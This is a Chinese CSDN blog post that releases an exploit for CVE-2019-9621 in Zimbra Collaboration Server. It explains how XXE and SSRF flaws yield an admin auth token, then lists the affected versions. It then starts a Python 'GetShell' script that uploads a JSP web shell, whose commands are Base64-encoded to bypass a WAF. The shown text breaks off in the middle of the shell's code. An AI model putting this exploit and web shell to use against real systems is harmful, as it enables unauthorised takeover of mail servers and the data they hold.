[EXP]CVE-2019-9621 Zimbra小于8.8.11 远程代码执行漏洞 XXE GetShell Exploit

最新推荐文章于 2023-04-12 20:41:46 发布

k8gege

最新推荐文章于 2023-04-12 20:41:46 发布

阅读量3.2k

点赞数 1

分类专栏：工具源码文章标签： Zimbra GetShell MSF Exploit

本文链接：https://blog.csdn.net/k8gege/article/details/89981142

版权

本文详细介绍了Zimbra CVE-2019-9621漏洞，该漏洞允许攻击者通过XXE和SSRF获取管理员权限，执行任意代码。受影响的版本为Zimbra低于8.7.11和8.8.11。文中给出了获取用户凭证、低权限和管理员权限token的步骤，以及文件上传以执行远程代码的示例代码。同时，提供了Cscan和MSF的相关资源链接。

摘要由CSDN通过智能技术生成

漏洞描述：

当 Zimbra 存在像任意文件读取、XXE（xml外部实体注入）这种漏洞时，攻击者可以利用此漏洞读取 localconfig.xml配置文件，获取到 zimbra admin ldap password，并通过 7071 admin 端口进行 SOAP AuthRequest 认证，得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后，通过文件上传在服务端执行任意代码，威胁程度极高。当Zimbra服务端打来Memcached缓存服务是，可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用，所以其攻击场景受到限制。

影响版本：

ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说：

Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。
Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。

GetShell代码

#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "shell.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String p